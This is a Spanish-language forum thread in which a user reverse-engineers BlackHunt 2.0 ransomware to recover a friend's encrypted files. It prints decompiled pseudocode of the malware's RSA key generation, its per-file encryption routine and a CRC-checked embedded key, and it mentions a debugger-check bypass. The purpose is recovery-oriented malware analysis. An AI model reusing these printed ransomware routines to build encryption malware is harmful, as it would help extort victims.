elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Ayuda para encontrar la clave privada BlackHunt 2.0
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda para encontrar la clave privada BlackHunt 2.0  (Leído 3,952 veces)
Fslynx

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Ayuda para encontrar la clave privada BlackHunt 2.0
« en: 4 Junio 2024, 15:38 pm »

Buenas tardes.

Un amigo me ha solicitado ayuda para recuperar sus archivos. El malware se llama BlackHunt 2.0 y tengo el ejecutable aislado. También volcados de memoria y la clave pública.

He probado a intentar encontrar los números primos p y q desde el volcado pero sin éxito. Soy capaz de encontrar en la memoria la clave pública, y reconocer su módulo y luego hay una región inmediatamente después que a lo mejor tiene información útil.

¿Podéis darme estrategias?

Actualmente estoy con chatgpt elaborando algunos scripts que me permitan encontrar restos de la clave privada en los volcados de memoria así como analizar el código fuente.

Gracias.
« Última modificación: 4 Junio 2024, 15:51 pm por Fslynx » En línea

Serapis
Colaborador
***
Desconectado Desconectado

Mensajes: 3.391


Ver Perfil
Re: Ayuda para encontrar la clave privada BlackHunt 2.0
« Respuesta #1 en: 4 Junio 2024, 17:39 pm »

Tendrías que saber como mínimo que tipo de cifrado utiliza el tal programa 'BlackHunt 2.0'... Sin eso es dar palos de ciego.
En línea

Fslynx

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Ayuda para encontrar la clave privada BlackHunt 2.0
« Respuesta #2 en: 4 Junio 2024, 19:01 pm »

El código hexadecimal (little endian) de la clave pública RSA es:

Cabecera:

06020000 00A40000 52534131 00080000

Exponente:

01000100

Módulo:

3983B993 D9C46953 812C8CC6 0798180A 015E3FB1 333AE616 5B93BEFC 61CF9809 024A945D 29E1C5F7 AFA2FE91 463F4D56 4B9F88D4 A83A5D3B C253F052 56C51F0A 17F45282 69ED957D 9EA4872F 25B7550B 635D804B BD9F6528 FFE917D2 8F915483 0289EAF1 460D8015 1EB7AA8B FC371FFB A68AF931 11934CD1 3048F7BD 3E36B3E7 50E0F159 9B3762F6 864134E3 DC727398 998BD54D 028A2010 E809B9E1 2B0B9B8A 35DC5124 04679632 42CE750C C38064F3 D4814D73 97ED7241 B98A4069 E8746B86 D5D8C905 C071F5B5 027D7E80 65F63213 3401A22B D1FEF310 9D246B97 451EF698 BACCAC06 6905AC6D 6FEB2EA8 7C9C3CBE 739C6733 A95F592F D405F9CE F1766FD1

*****************************************

���¤��RSA1�����9ƒ¹“ÙÄiS,ŒÆ˜
^?±3:æ[“¾üaϘ   J”])áÅ÷¯¢þ‘F?MVKŸˆÔ¨:];ÂSðRVÅ
ôR‚ií•}ž¤‡/%·U c]€K½Ÿe(ÿéÒ‘Tƒ‰êñF
€·ª‹ü7û¦Šù1“LÑ0H÷½>6³çPàñY›7bö†A4ãÜrs˜™‹ÕMŠ è   ¹á+ ›Š5ÜQ$g–2BÎu ÀdóÔMs—írA¹Š@iètk†ÕØÉÀqõµ}~€eö24¢+Ñþó$k—Eö˜ºÌ¬i¬moë.¨|œ<¾sœg3©_Y/ÔùÎñvoÑ

*****************************************

En el volcado de memoria aparece el módulo repetido 4 veces. Tengo entendido que el módulo también está presente en la clave privada y que los números primos p y q pueden estar cerca de este valor.

Siguiendo esta práctica encontré algunas similitudes hasta el paso de encontrar p y q:

https://www.cs.utep.edu/CFIA/files/outreach/WannaCryKeyRecovery/WannaCryKeyRecovery_Exercise.pdf
« Última modificación: 4 Junio 2024, 19:05 pm por Fslynx » En línea

Mr.Byte

Desconectado Desconectado

Mensajes: 253



Ver Perfil
Re: Ayuda para encontrar la clave privada BlackHunt 2.0
« Respuesta #3 en: 5 Junio 2024, 09:05 am »

No se si esto te puede servir:
https://www.rapid7.com/blog/post/2024/02/05/exploring-the-not-so-secret-code-of-blackhunt-ransomware-2/
En línea

Fslynx

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Ayuda para encontrar la clave privada BlackHunt 2.0
« Respuesta #4 en: 5 Junio 2024, 09:28 am »

Muchas gracias.

Lo leí con anterioridad.

Ahora mismo me estoy centrando en saber cual es el algoritmo que tiene para usar el ID como clave para cifrar la clave privada.

El desencriptador usa el ID y el fichero de la clave privada (cifrado) para devolver los archivos a su condición original.

Luego probablemente el ID actúa como una clave de cifrado del fichero de la clave privada que reside en el disco duro.

Cuando el hacker contactó conmigo por email necesitaba estas dos cosas para proporcionarme un archivo descifrado de muestra de confianza.

« Última modificación: 5 Junio 2024, 09:33 am por Fslynx » En línea

Fslynx

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Ayuda para encontrar la clave privada BlackHunt 2.0
« Respuesta #5 en: 5 Junio 2024, 13:30 pm »

Creo haber localizado la función que genera y exporta las claves RSA, en especial la privada.

Código:
int32_t sub_402590()
{
    int32_t __saved_ebp;
    int32_t eax_1 = (__security_cookie ^ &__saved_ebp);
    if (data_479b08 != 0)
    {
        sub_401d20(u"GenKey");
    }
    uint32_t var_c = 0;
    void* var_24 = nullptr;
    int32_t pdwDataLen = 0;
    uint32_t i_11 = 0;
    char* i;
    do
    {
        i = HeapAlloc(data_47a330, HEAP_ZERO_MEMORY, 0x140);
    } while (i == 0);
    if (CryptGenKey(data_478108, 1, 0x8000001, &data_47a32c) == 0)
    {
        enum WIN32_ERROR var_40 = GetLastError();
        sub_401d20(u"CryptGenKey Faild! GetLastError …");
        @__security_check_cookie@4((eax_1 ^ &__saved_ebp));
        return 0;
    }
    if (CryptExportKey(data_47a32c, 0, 7, 0, nullptr, &pdwDataLen) == 0)
    {
        enum WIN32_ERROR var_40_2 = GetLastError();
        sub_401d20(u"CryptExportPrivateKey1 Faild! Ge…");
        @__security_check_cookie@4((eax_1 ^ &__saved_ebp));
        return 0;
    }
    uint32_t dwBytes = (pdwDataLen + 0x40);
    uint8_t* i_1;
    do
    {
        i_1 = HeapAlloc(data_47a330, HEAP_ZERO_MEMORY, dwBytes);
    } while (i_1 == 0);
    if (CryptExportKey(data_47a32c, 0, 7, 0, i_1, &pdwDataLen) == 0)
    {
        enum WIN32_ERROR var_40_5 = GetLastError();
        sub_401d20(u"CryptExportPrivateKey2 Faild! Ge…");
        @__security_check_cookie@4((eax_1 ^ &__saved_ebp));
        return 0;
    }
    if (CryptExportKey(data_47a32c, 0, 6, 0, nullptr, &i_11) == 0)
    {
        enum WIN32_ERROR var_40_7 = GetLastError();
        sub_401d20(u"CryptExportKey1 Faild! GetLastEr…");
        @__security_check_cookie@4((eax_1 ^ &__saved_ebp));
        return 0;
    }
    uint8_t* lpMem_1 = sub_4056b0(i_11);
    int32_t ebx_7;
    wchar16* const var_44_1;
    if (lpMem_1 != 0)
    {
        if (CryptExportKey(data_47a32c, 0, 6, 0, lpMem_1, &i_11) == 0)
        {
            enum WIN32_ERROR var_40_10 = GetLastError();
            var_44_1 = u"CryptExportKey2 Faild! GetLastEr…";
            goto label_402a24;
        }
        BOOL eax_17 = CreateFileW(u"C:\ProgramData\#BlackHunt_Privat…", 0x40000000, FILE_SHARE_NONE, nullptr, CREATE_NEW, SECURITY_ANONYMOUS, nullptr);
        BOOL var_2c_1 = eax_17;
        if (eax_17 == 0)
        {
            eax_17 = CreateFileW(u"#BlackHunt_Private.key", 0x40000000, eax_17, eax_17, CREATE_NEW, eax_17, eax_17);
            var_2c_1 = eax_17;
            if (eax_17 == 0)
            {
                sub_401d20(u"Cannot Create PrivKey File");
                goto label_402a2c;
            }
        }
        int32_t i_2 = 0;
        int32_t i_7 = 0;
        void lpNumberOfBytesWritten;
        BOOL eax_18;
        do
        {
            BOOL j = 0;
            do
            {
                i[j] = 0;
                j = (j + 1);
            } while (j < 0x100);
            void* j_1 = nullptr;
            if (i_2 != 0)
            {
                do
                {
                    eax_17 = *((j_1 + i_1) + var_24);
                    *(j_1 + i) = eax_17;
                    j_1 = (j_1 + 1);
                } while (j_1 < 0xea);
                var_c = 0xea;
            }
            else
            {
                do
                {
                    eax_17 = *((j_1 + i_1) + var_24);
                    *(j_1 + i) = eax_17;
                    j_1 = (j_1 + 1);
                } while (j_1 < 0xec);
                var_c = 0xec;
            }
            eax_18 = CryptEncrypt(data_47a328, 0, 1, 0, i, &var_c, 0x100);
            if (eax_18 == 0)
            {
                enum WIN32_ERROR var_40_20 = GetLastError();
                var_44_1 = u"EncryptKey Faild! GetLastError =…";
                break;
            }
            int32_t ebx_3;
            ebx_3 = i_7 == 0;
            if (WriteFile(var_2c_1, i, var_c, &lpNumberOfBytesWritten, nullptr) == 0)
            {
                enum WIN32_ERROR var_40_19 = GetLastError();
                var_44_1 = u"Cannot Write PrivKey To File! Ge…";
                break;
            }
            var_24 = (var_24 + ((ebx_3 << 1) + 0xea));
            i_2 = (i_7 + 1);
            i_7 = i_2;
        } while (i_2 < 5);
        if (eax_18 == 0)
        {
            goto label_402a24;
        }
        CloseHandle(var_2c_1);
        HANDLE eax_19 = CreateFileW(u"C:\ProgramData\#BlackHunt_Public…", 0x40000000, FILE_SHARE_NONE, nullptr, CREATE_NEW, SECURITY_ANONYMOUS, nullptr);
        HANDLE ebx_5 = eax_19;
        if (ebx_5 == 0)
        {
            ebx_5 = CreateFileW(u"#BlackHunt_Public.key", 0x40000000, eax_19, eax_19, CREATE_NEW, eax_19, eax_19);
            if (ebx_5 == 0)
            {
                sub_401d20(u"Cannot Create PubKey File");
                goto label_402a2c;
            }
        }
        if (WriteFile(ebx_5, lpMem_1, i_11, &lpNumberOfBytesWritten, nullptr) == 0)
        {
            enum WIN32_ERROR var_40_14 = GetLastError();
            var_44_1 = u"Cannot Write PubKey To File! Get…";
            goto label_402a24;
        }
        CloseHandle(ebx_5);
        if (CryptImportKey(data_478108, lpMem_1, i_11, 0, 0, &data_479b00) == 0)
        {
            sub_401d20(u"Import PubKey failed!!\n");
            goto label_402a2c;
        }
        HANDLE eax_24 = CreateFileW(u"C:\ProgramData\#BlackHunt_ID.txt", 0x40000000, FILE_SHARE_NONE, nullptr, CREATE_NEW, SECURITY_ANONYMOUS, nullptr);
        HANDLE ebx_6 = eax_24;
        if (ebx_6 == 0)
        {
            ebx_6 = CreateFileW(u"#BlackHunt_ID.txt", 0x40000000, eax_24, eax_24, CREATE_NEW, eax_24, eax_24);
            if (ebx_6 == 0)
            {
                sub_401d20(u"Cannot Create ID File");
                goto label_402a2c;
            }
        }
        sub_4022a0();
        void* ecx_12 = nullptr;
        int16_t i_3;
        do
        {
            i_3 = *(ecx_12 + 0x46f438);
            ecx_12 = (ecx_12 + 2);
            *(ecx_12 + 0x47a2e2) = i_3;
        } while (i_3 != 0);
        if (WriteFile(ebx_6, &data_46f438, 0x20, &lpNumberOfBytesWritten, nullptr) == 0)
        {
            enum WIN32_ERROR var_40_17 = GetLastError();
            var_44_1 = u"Cannot Write ID To File! GetLast…";
            goto label_402a24;
        }
        CloseHandle(ebx_6);
        ebx_7 = 1;
    }
    else
    {
        enum WIN32_ERROR var_40_8 = GetLastError();
        var_44_1 = u"PublicKeyBlob memory allocation …";
    label_402a24:
        sub_401d20(var_44_1);
    label_402a2c:
        ebx_7 = 0;
    }
    CryptDestroyKey(data_47a32c);
    int32_t ecx_13 = pdwDataLen;
    uint8_t* i_8 = i_1;
    if (ecx_13 != 0)
    {
        int32_t i_4;
        do
        {
            *i_8 = 0;
            i_8 = &i_8[1];
            i_4 = ecx_13;
            ecx_13 = (ecx_13 - 1);
        } while (i_4 != 1);
    }
    uint32_t i_10 = i_11;
    char* lpMem = lpMem_1;
    char* lpMem_2 = lpMem;
    if (i_10 != 0)
    {
        uint32_t i_5;
        do
        {
            *lpMem_2 = 0;
            lpMem_2 = &lpMem_2[1];
            i_5 = i_10;
            i_10 = (i_10 - 1);
        } while (i_5 != 1);
    }
    enum HEAP_FLAGS dwFlags = HEAP_CREATE_SEGMENT_HEAP;
    char* i_9 = i;
    enum HEAP_FLAGS i_6;
    do
    {
        *i_9 = 0;
        i_9 = &i_9[1];
        i_6 = dwFlags;
        dwFlags = (dwFlags - 1);
    } while (i_6 != HEAP_NO_SERIALIZE);
    HeapFree(data_47a330, dwFlags, lpMem);
    HeapFree(data_47a330, HEAP_NONE, i_1);
    HeapFree(data_47a330, HEAP_NONE, i);
    if (data_479b08 != 0)
    {
        sub_401d20(u"return GenKey");
    }
    @__security_check_cookie@4((eax_1 ^ &__saved_ebp));
    return ebx_7;
}
En línea

Mr.Byte

Desconectado Desconectado

Mensajes: 253



Ver Perfil
Re: Ayuda para encontrar la clave privada BlackHunt 2.0
« Respuesta #6 en: 5 Junio 2024, 15:42 pm »

Quiza en el canal de Telegram de Criptored https://t.me/criptored te pueden echar una mano. Son unos frikis de la Criptografía https://www.criptored.es/
En línea

Serapis
Colaborador
***
Desconectado Desconectado

Mensajes: 3.391


Ver Perfil
Re: Ayuda para encontrar la clave privada BlackHunt 2.0
« Respuesta #7 en: 6 Junio 2024, 15:26 pm »

Código:
int32_t eax_1 = (__security_cookie ^ &__saved_ebp);
Usa una cookie de seguridad para proteger contra ataques que intenten modificar el stack.

Código:
if (data_479b08 != 0)
{
    sub_401d20(u"GenKey");
}
Comprueba si la variable 'data_479b08' está establecida, y en tal caso, invoca una función para generar una clave.

Código:
if (CryptGenKey(data_478108, 1, 0x8000001, &data_47a32c) == 0)
{
    // Error handling
    return 0;
}
Aquí genera una clave criptográfica utilizando la función 'CryptGenKey'.

Código:
BOOL eax_17 = CreateFileW(u"C:\ProgramData\#BlackHunt_Private.key", ...);
La clave privada y su ruta...

Código:
eax_18 = CryptEncrypt(data_47a328, 0, 1, 0, i, &var_c, 0x100);
Cifrando la clave privada...

Código:
HANDLE eax_24 = CreateFileW(u"C:\ProgramData\#BlackHunt_ID.txt", ...);
Id del ransnnware.
Nota que el id que te solicitó, no necesariamente esté ni necesite estar cifrado, quizás simplemente se use como key para localizar 'tus datos', al menos es lo que yo haría, no lo pondría tan simple.


Código:
if (CryptImportKey(data_478108, lpMem_1, i_11, 0, 0, &data_479b00) == 0)
{
    // Error handling
    return 0;
}
Aquí se importa la clave pública... más arriba había una exportación de la clave
Citar
if (CryptExportKey(data_47a32c, 0, 7, 0, i_1, &pdwDataLen) == 0)
{
    // Error handling
    return 0;
}

Al final libera recursos...

p.d.:
Por si te sirve, he aquí el pseudocódigo del código ofuscado:
Código:
Iniciar protección del stack
Si (data_479b08 != 0)
    Llamar a sub_401d20("GenKey")

Reservar memoria para una estructura

Generar una clave criptográfica
    Si falla
        Llamar a sub_401d20("CryptGenKey Faild!")
        Retornar 0

Exportar la clave criptográfica
    Si falla
        Llamar a sub_401d20("CryptExportPrivateKey1 Faild!")
        Retornar 0

Reservar memoria para la clave exportada

Exportar la clave criptográfica
    Si falla
        Llamar a sub_401d20("CryptExportPrivateKey2 Faild!")
        Retornar 0

Crear y escribir la clave privada en un archivo
    Si falla
        Llamar a sub_401d20("Cannot Create PrivKey File")
        Retornar 0

Cifrar la clave privada
    Si falla
        Llamar a sub_401d20("EncryptKey Faild!")
        Retornar 0

Escribir la clave privada cifrada en un archivo
    Si falla
        Llamar a sub_401d20("Cannot Write PrivKey To File!")
        Retornar 0

Crear y escribir la clave pública en un archivo
    Si falla
        Llamar a sub_401d20("Cannot Create PubKey File")
        Retornar 0

Escribir la clave pública en un archivo
    Si falla
        Llamar a sub_401d20("Cannot Write PubKey To File!")
        Retornar 0

Importar la clave pública
    Si falla
        Llamar a sub_401d20("Import PubKey failed!!")
        Retornar 0

Crear y escribir el ID del ransomware en un archivo
    Si falla
        Llamar a sub_401d20("Cannot Create ID File")
        Retornar 0

Liberar memoria y destruir claves
Finalizar protección del stack
Retornar resultado final

Suerte con tus pesquisas.... suele ser tedioso tener que operar con código ofuscado, pero si tienes suficientes conocimientos de programación algo podrías llegar a sacar...


p.d2.: Nota la llamada a las funciones de la API de criptografía de Win2: CryptGenKey, CryptExportKey, CryptEncrypt, CryptImportKey, CryptDestroyKey... estamos ante RSA.
« Última modificación: 6 Junio 2024, 15:33 pm por Serapis » En línea

Fslynx

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Ayuda para encontrar la clave privada BlackHunt 2.0
« Respuesta #8 en: 7 Junio 2024, 09:05 am »

Muchas gracias por vuestra ayuda.

Estoy analizando el código junto con un compañero y coincidimos en lo comentado en el post anterior.

Además del cifrado realiza un desordenamiento de los bytes.

Nos queda averiguar como el ID sirve para generar una clave AES para el cifrado de la clave privada que se queda en disco.

El código completo está aqui: https://drive.google.com/file/d/17vSdeUriw1hdhF9w7KXNvpkalb3clxuX/view?usp=sharing

Saludos y gracias.
En línea

Fslynx

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Ayuda para encontrar la clave privada BlackHunt 2.0
« Respuesta #9 en: 9 Junio 2024, 00:00 am »

Buenas tardes.

Sigo haciendo progresos con este tema.

La función de cifrado de archivos lo que hace es leer el fichero, desordena los bytes del buffer y luego los cifra con CryptEncrypt.

Código:
int32_t __convention("regparm") encriptarBuffer(int32_t arg1, uint32_t arg2, uint32_t arg3, void* arg4, void* arg5)
{
    int32_t __saved_ebp;
    int32_t eax_1 = (__security_cookie ^ &__saved_ebp);
    if (data_479b08_registrar_mensajes_depuracion != 0)
    {
        escribirLog(u"GenKey");
    }
    uint8_t* pbBuffer = (arg4 + 0x68);
    int32_t pdwDataLen = 0x40;
    if ((CryptGenRandom(arg3, 0x20, pbBuffer) != 0 && CryptGenRandom(arg3, 0x20, (arg4 + 0x48)) != 0))
    {
        int32_t i_4 = 0x40;
        char* eax_6 = (arg4 + 8);
        int32_t i;
        do
        {
            *eax_6 = 0;
            eax_6 = &eax_6[1];
            i = i_4;
            i_4 = (i_4 - 1);
        } while (i != 1);
        *(arg4 + 0x18) = *pbBuffer;
        *(arg4 + 0x1c) = *(pbBuffer + 4);
        *(arg4 + 0x20) = *(pbBuffer + 8);
        *(arg4 + 0x24) = *(pbBuffer + 0xc);
        *(arg4 + 0x28) = *(pbBuffer + 0x10);
        *(arg4 + 0x2c) = *(pbBuffer + 0x14);
        *(arg4 + 0x30) = *(pbBuffer + 0x18);
        *(arg4 + 0x34) = *(pbBuffer + 0x1c);
        __builtin_strncpy((arg4 + 8), "expand 32-byte k", 0x10);
        *(arg4 + 0x38) = 0;
        *(arg4 + 0x3c) = 0;
        *(arg4 + 0x40) = *(arg4 + 0x48);
        *(arg4 + 0x44) = *(arg4 + 0x4c);
        *(arg5 + 0xc) = *pbBuffer;
        *(arg5 + 0x1c) = *(pbBuffer + 0x10);
        *(arg5 + 0x2c) = *(arg4 + 0x48);
        *(arg5 + 0x3c) = *(arg4 + 0x58);
       CryptEncrypt(arg2, 0, 1, 0, (arg5 + 0xc), &pdwDataLen, 0x100);
    }
    int32_t i_3 = 0x20;
    int32_t i_1;
    do
    {
        *pbBuffer = 0;
        pbBuffer = &pbBuffer[1];
        i_1 = i_3;
        i_3 = (i_3 - 1);
    } while (i_1 != 1);
    int32_t i_5 = 0x20;
    void* eax_18 = (arg4 + 0x48);
    int32_t i_2;
    do
    {
        *eax_18 = 0;
        eax_18 = (eax_18 + 1);
        i_2 = i_5;
        i_5 = (i_5 - 1);
    } while (i_2 != 1);
    if (data_479b08_registrar_mensajes_depuracion != i_5)
    {
        escribirLog(u"return GenKey");
    }
    @__security_check_cookie@4((eax_1 ^ &__saved_ebp));
    return 1;
}


Arg2 es el handler de la clave publica RSA de 2048 bit que ha generado.

Se da la circunstancia de que la clave privada RSA de 2048 bit también se desordena y se cifra.

Este fragmento a continuación está dentro de un bucle que hace algo parecido, revuelve y cifra.

data_47a328: Este es el handle a la clave de cifrado que se usará para cifrar los datos.
0: Este es el handle al hash, que en este caso es 0, indicando que no se está usando ningún hash.
1: Este es el valor booleano que indica si este es el último bloque de datos a cifrar. 1 (TRUE) significa que sí, es el último bloque.
0: Este es el valor para las opciones adicionales. 0 significa que no se están utilizando opciones adicionales.
i: Este es el puntero a los datos que se van a cifrar. La clave privada RSA.
&var_c: Este es el puntero a la longitud de los datos que se están cifrando y se actualizará con la longitud de los datos cifrados.
0x100: Este es el tamaño del búfer que contiene los datos. En este caso, es de 256 bytes (0x100 en hexadecimal).
*/

eax_18 = CryptEncrypt(data_47a328, 0, 1, 0, i, &var_c, 0x100);

Ahora viene lo interesante data_47a328 en el código ensamblador se corresponde con un registro dword_47A328 que inicialmente aparece como ? en el visor IDA Pro. Es decir, que según parece no está inicializado.

El ransom, tiene detector de depuradores mediante IsDebuggerPresent, lo que hacía que cuando empezara a depurar, terminara con exit code 1. Tras consultar documentación le he implementado un bypass para continuar con el flujo de ejecución y he podido acceder al registro o dirección de memoria.

Obtengo esto en IDA Pro. ¿Me podéis ayudar a interpretarlo?





Por otra parte, consultando la documentación de Microsoft se dice:

Identificador de la clave de cifrado. Una aplicación obtiene este identificador mediante la función CryptGenKey o CryptImportKey .

Esta variable efectivamente aparece en el siguiente bloque de código con CryptImportKey.

/*
    Hex:
    ddee7277d2930aed39d89da731c8105bd8ae0e8e5589b8a1639a2a431f258728721ad409fa3d4d04fb9559edbfeba4f43c10b55f0464
    b3b7c12e4b49fa90bccf3491d4000ef8ab20b1983234aa43da5384338fb3010b357aa41a2f0d64da0e9eb3cdf0a19f834e8a67ef1fdc
    fd59fc7fb505434b6b2401201c3b80b8
    124 bytes / 992 bits
    No hay mas referencias a var_8c
    */
    __builtin_memcpy(&var_8c, "\xde\xde\x72\x77\xd2\x93\x0a\xed\x39\xd8\x9d\xa7\x31\xc8\x10\x5b\xd8\xae\x0e\x8e\x55\x89\xb8\xa1\x63\x9a\x2a\x43\x1f\x25\x87\x28\x72\x1a\xd4\x09\xfa\x3d\x4d\x04\xfb\x95\x59\xed\xbf\xeb\xa4\xf4\x3c\x10\xb5\x5f\x04\x64\xb3\xb7\xc1\x2e\x4b\x49\xfa\x90\xbc\xcf\x34\x91\xd4\x00\x0e\xf8\xab\x20\xb1\x98\x32\x34\xaa\x43\xda\x53\x84\x33\x8f\xb3\x01\x0b\x35\x7a\xa4\x1a\x2f\x0d\x64\xda\x0e\x9e\xb3\xcd\xf0\xa1\x9f\x83\x4e\x8a\x67\xef\x1f\xdc\xfd\x59\xfc\x7f\xb5\x05\x43\x4b\x6b\x24\x01\x20\x1c\x3b\x80\xb8", 0x7c);
    // pbData = 0x206
    if (calcularCRC32(&pbData, 0x114) != 0x4401dddf)
    {
        escribirLog(u"KEY ERROR #100");
        Sleep(0x4b0);
        ExitProcess(1);
        /* no return */
    }
    /*
    data_478108_manejador_servicios_criptograficos: Es probable que sea un manejador (handle) para el contexto del proveedor de servicios criptográficos (CSP).
    &pbData: Apunta a la clave a ser importada. pbData contiene la clave en formato binario.
    0x114: Es el tamaño de la clave en bytes (276 bytes en decimal).
    0: Este parámetro podría ser el identificador de una clave pública o privada que se va a usar para la importación. En este caso, se pasa 0, indicando que no se usa ninguna clave adicional para el proceso.
    0: Bandera de opciones adicionales, en este caso se pasa 0, lo que indica que no hay opciones adicionales.
    &data_47a328: Apunta a una variable que recibirá el manejador de la clave importada.
    */
    if (CryptImportKey(data_478108_manejador_servicios_criptograficos, &pbData, 0x114, 0, 0, &data_47a328) == 0)
    {
        escribirLog(u"CryptImportKey failed!!");
        @__security_check_cookie@4((eax_1 ^ &__saved_ebp));
        return 0;
    }

Lo que viene a decir que data_47a328 se genera a través de CryptImportKey y a su vez se carga de pbData.

pbData es manipulado por esta función:

int32_t __fastcall calcularCRC32(int32_t arg1, int32_t arg2)
{
    // Inicializar eax a -1 (0xFFFFFFFF)
    int32_t eax = 0xffffffff;
    // Puntero para iterar sobre los datos
    void* esi = nullptr;
    // Si la longitud de los datos (arg2) no es cero, proceder con el cálculo de CRC
    if (arg2 != 0)
    {
        do
        {
            // Cargar un byte de los datos
            uint32_t edx = *(esi + arg1); // Leer un byte de los datos
            esi = (esi + 1); // Avanzar el puntero

            // Actualizar el valor de CRC
            int32_t eax_1 = (eax ^ edx);
            int32_t ecx_4 = ((-((eax_1 & 1)) & 0xedb88320) ^ (eax_1 >> 1));
            int32_t eax_7 = ((-((ecx_4 & 1)) & 0xedb88320) ^ (ecx_4 >> 1));
            int32_t ecx_10 = ((-((eax_7 & 1)) & 0xedb88320) ^ (eax_7 >> 1));
            int32_t eax_13 = ((-((ecx_10 & 1)) & 0xedb88320) ^ (ecx_10 >> 1));
            int32_t ecx_16 = ((-((eax_13 & 1)) & 0xedb88320) ^ (eax_13 >> 1));
            int32_t eax_19 = ((-((ecx_16 & 1)) & 0xedb88320) ^ (ecx_16 >> 1));
            int32_t ecx_22 = ((-((eax_19 & 1)) & 0xedb88320) ^ (eax_19 >> 1));
            eax = ((-((ecx_22 & 1)) & 0xedb88320) ^ (ecx_22 >> 1));
        } while (esi < arg2);
    }

    // Retornar la negación del valor final de CRC
    return !(eax);
}

En definitiva. ¿Me ayudáis a juntar las piezas? Creo que con esto se puede obtener la clave que cifra la clave RSA privada.

Gracias.
« Última modificación: 9 Junio 2024, 00:43 am por Fslynx » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Cómo buscar y encontrar la clave de Windows para reinstalaciones
Noticias
wolfbcn 0 3,135 Último mensaje 26 Febrero 2015, 15:16 pm
por wolfbcn
Obtener clave privada a partir de clave publica
Ingeniería Inversa
BigByte 1 5,709 Último mensaje 28 Febrero 2015, 17:55 pm
por engel lex
6 aplicaciones gratuitas para encontrar la clave de Windows
Noticias
wolfbcn 0 2,545 Último mensaje 25 Febrero 2016, 14:16 pm
por wolfbcn
RSA, obteniendo clave privada
Criptografía
LaiaxanIV 1 3,370 Último mensaje 29 Abril 2016, 23:53 pm
por kub0x
SSL/TLS y clave privada
Criptografía
ace99 2 3,658 Último mensaje 6 Mayo 2020, 12:02 pm
por ace99
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines